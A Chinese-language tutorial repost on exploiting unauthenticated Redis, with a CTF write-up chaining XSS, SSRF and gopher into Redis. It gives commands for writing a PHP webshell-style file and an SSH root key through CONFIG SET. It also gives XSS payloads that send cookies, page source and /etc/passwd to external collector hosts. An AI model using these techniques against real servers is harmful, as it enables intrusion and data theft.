返回顶部
首页 > 资讯 > 数据库 >redis未授权访问的方法
  • 105
分享到

redis未授权访问的方法

2024-04-02 19:04:59 105人浏览 安东尼
摘要

这篇文章主要为大家详细介绍了Redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。redis是一种以key-value为键值对的非关系型数

这篇文章主要为大家详细介绍了Redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。

redis是一种以key-value为键值对的非关系型数据库

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的api

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址:https://GitHub.com/MSOpenTech/redis/releases
测试环境:

操作系统:win7
ip:192.168.107.144

redis未授权访问的方法

命令行输入

redis-server.exe redis.conf

redis未授权访问的方法

接着查看端口

redis未授权访问的方法

6379端口(redis默认端口)已经打开

redis成功启动

ubuntu

安装

sudo apt-get update
sudo apt-get install redis-server

启动服务

redis-server

基本命令

连接redis

redis-cli.exe -h 192.168.107.144

查看键为x的值

redis 192.168.107.144:6379> get x
"<?PHP phpinfo(); ?>"

get所有key

redis 192.168.107.144:6379> keys *
1) "x"

删除所有键

redis 192.168.107.144:6379>flushall

漏洞利用

本机通过telnet命令主动去连接目标机

redis未授权访问的方法

或者通过redis-cli.exe -h 192.168.107.144连接

redis未授权访问的方法

连接成功

输入info获取相关信息

可以看到redis版本号等

redis未授权访问的方法

利用方式

写入shell

redis未授权访问的方法

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

成功写入目标机

redis未授权访问的方法

写入ssh公钥

在本地生成一对密钥

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

redis未授权访问的方法

接着将ssh公钥写入靶机

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

再到本地去连接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

题目为

redis未授权访问的方法

题目地址:Https://hackme.inndy.tw/scoreboard/

xeeme

泄露

redis未授权访问的方法

在robots.txt发现泄露源码

是加密了的config.php

redis未授权访问的方法

xss打cookie

注册登陆后的界面

redis未授权访问的方法

发邮件有验证

redis未授权访问的方法

验证写个脚本即可

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

然后过滤了一些东西

redis未授权访问的方法

用img测试

redis未授权访问的方法

onload也过滤了

redis未授权访问的方法

这里注意到一个细节,过滤的是空格加上onerror,猜想是匹配到有空格的onerror才会过滤,于是构造没有空格的onerror,尝试payload

<img src=""onerror="document.location='http://vps/?a='+document.cookie">

然后打cookie,成功打到cookie

redis未授权访问的方法

将SESSION解码

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak

根据上一题的cookie,FLAG_2=IN_THE_REDIS

还是一样的环境

因为拿到了管理员的cookie,于是登陆一下

redis未授权访问的方法

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerhtml)">

redis未授权访问的方法

发现innerhtml被过滤

于是html编码

<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">

发现收到请求

redis未授权访问的方法

解个码,放在本地

redis未授权访问的方法

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://vps?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到请求

redis未授权访问的方法

解码:

...


      <fORM action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功读到/etc/passwd

redis未授权访问的方法

于是读之前的config.php

redis未授权访问的方法

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合Gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

redis未授权访问的方法

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

redis未授权访问的方法

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

redis未授权访问的方法

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

redis未授权访问的方法

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

redis未授权访问的方法

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

redis未授权访问的方法

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

关于redis未授权访问的方法就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果喜欢这篇文章,不如把它分享出去让更多的人看到。

您可能感兴趣的文档:

--结束END--

本文标题: redis未授权访问的方法

本文链接: https://lsjlt.com/news/34658.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • redis未授权访问的方法
    这篇文章主要为大家详细介绍了redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。redis是一种以key-value为键值对的非关系型数...
    99+
    2024-04-02
  • 关于Redis未授权访问的问题
    目录漏洞原理利用条件漏洞危害漏洞复现搭建测试环境攻击机Kali 2021.1利用redis写入webshell利用redis反弹shell利用redis写入ssh公钥总结漏洞原理 R...
    99+
    2024-04-02
  • 访问redis显示未授权访问怎么解决
    如果您在访问Redis时收到“未授权访问”的错误,这可能是因为Redis未配置访问密码或未正确配置安全组规则导致的。您可以按照以下步...
    99+
    2023-08-23
    redis
  • fastcgi未授权访问漏洞(php-fpm fast-cgi未授权访问漏洞)
    这里写目录标题 1.前置基础1.1 nginx中的fastcgi1.2 fastcgi协议分析1.2.1 Fastcgi Record1.2.2 Fastcgi Type1.2.3 PHP-F...
    99+
    2023-09-02
    服务器 php nginx
  • Nacos未授权访问修复方案
    1. 漏洞简介 Nacos 是 SpringCloud Alibaba 微服务架构中的一个组件,主要作用是服务注册和发现以及分布式配置管理,通常情况下 Nacos 中存储着 MySQL、Redis 等数据库的账号和密码。当前使用的版本存在用...
    99+
    2023-08-21
    java 数据库 开发语言
  • 利用nmap对Mongodb Redis未授权访问测试
    Mongodb下载:http://nmap.org/svn/scripts/mongodb-info.nsenmap -p 27017 --script mongodb-info <ip>Red...
    99+
    2024-04-02
  • Redis中出现未授权访问如何解决
    这期内容当中小编将会给大家带来有关Redis中出现未授权访问如何解决,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。漏洞原理Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的...
    99+
    2023-06-20
  • php-fpm未授权访问漏洞
    目录 一、产生原因 二、利用条件 三、过程原理 四、复现过程 一、产生原因 php-fpm配置不当,fastcgi_pass这里配置了0.0.0.0,将fastcgi接口暴露在公网,任何人都可以利用接口对php-fpm发送fastcgi...
    99+
    2023-10-27
    php 开发语言 安全
  • XXL-JOB executor 未授权访问漏洞
    XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。 ...
    99+
    2023-10-02
    java 开发语言 安全
  • navicat授权远程访问的方法
    这篇文章将为大家详细讲解有关navicat授权远程访问的方法,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。  Navicat for MySQL是MySQL数据库常用的数...
    99+
    2024-04-02
  • Redis未授权访问配合SSH key文件利用详解
    前言 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 Redis 未授权访问的问题是一直存在的问题,知道创宇安全研...
    99+
    2024-04-02
  • 2022-10-08(Discuz漏洞、FCKeditor文本编辑器漏洞、ZooKeeper 未授权访问、Memcahe 未授权访问)
    文章目录 Discuz漏洞-请求报文中含有恶意的PHP代码(CVE-2019-13956)FCKeditor文本编辑器漏洞test.htmlbrowser.htmlfckeditor.html...
    99+
    2023-09-22
    zookeeper php 安全
  • Nacos未授权访问漏洞(CVE-2021-29441)
    目录 漏洞描述影响范围环境搭建漏洞复现 声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。加粗样式 漏洞描述 Nacos 是阿里巴巴推出来的一个...
    99+
    2023-08-18
    docker java 容器
  • 修复SpringBoot Actuator未授权访问遇到的问题
    原由:风险检测扫出漏洞 访问http://xxx.xx.x/actuator 会直接获取到系统监控信息,存在安全问题,禁用actuator 1.禁用/env接口 缺点:谁都不可以访问不够灵活 会展示部分信息,漏扫严格的话建议替换其他...
    99+
    2023-09-02
    spring boot 后端 java
  • 解析Redis未授权访问漏洞复现与利用危害
    目录一、漏洞简介以及危害:1.什么是redis未授权访问漏洞:2.漏洞的危害3.漏洞的影响二、漏洞复现:三、未授权访问漏洞测试0x01 利用redis写webshell0&...
    99+
    2024-04-02
  • SpringBootActuator未授权访问漏洞修复详解
    目录1.写在前面2.问题描述3.安全问题4.禁止方法5.完全禁用Actuator1.写在前面 目前SpringBoot得框架,越来越广泛,大多数中小型企业,在开发新项目得时候。后端语...
    99+
    2024-04-02
  • Android实现授权访问网页的方法
    本文实例讲述了Android授权访问网页的实现方法,即使用Webview显示OAuth Version 2.a ImplicitGrant方式授权的页,但是对于移动终端不建议使...
    99+
    2022-06-06
    方法 授权 Android
  • redis未授权怎么验证
    redis 未授权验证是指在无密码情况下访问 redis 服务器。验证步骤包括:获取 redis 服务器地址和端口;使用 telnet 或 netcat 连接;检查是否显示 redis ...
    99+
    2024-06-03
    redis
  • CVE-2023-23752 Joomla未授权访问漏洞分析
    漏洞概要 Joomla 在海外使用较多,是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。 Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php...
    99+
    2023-09-03
    php 安全 web安全
  • Java安全漏洞:Druid未授权访问解决
    Java安全漏洞:Druid未授权访问 前言一、Druid未授权访问原因分析二、解决办法1.添加登录用户名密码2.禁用Druid监控页功能 总结 前言 相信很多朋友在服务器安全扫描的...
    99+
    2023-09-03
    java 数据库 开发语言 系统安全 安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作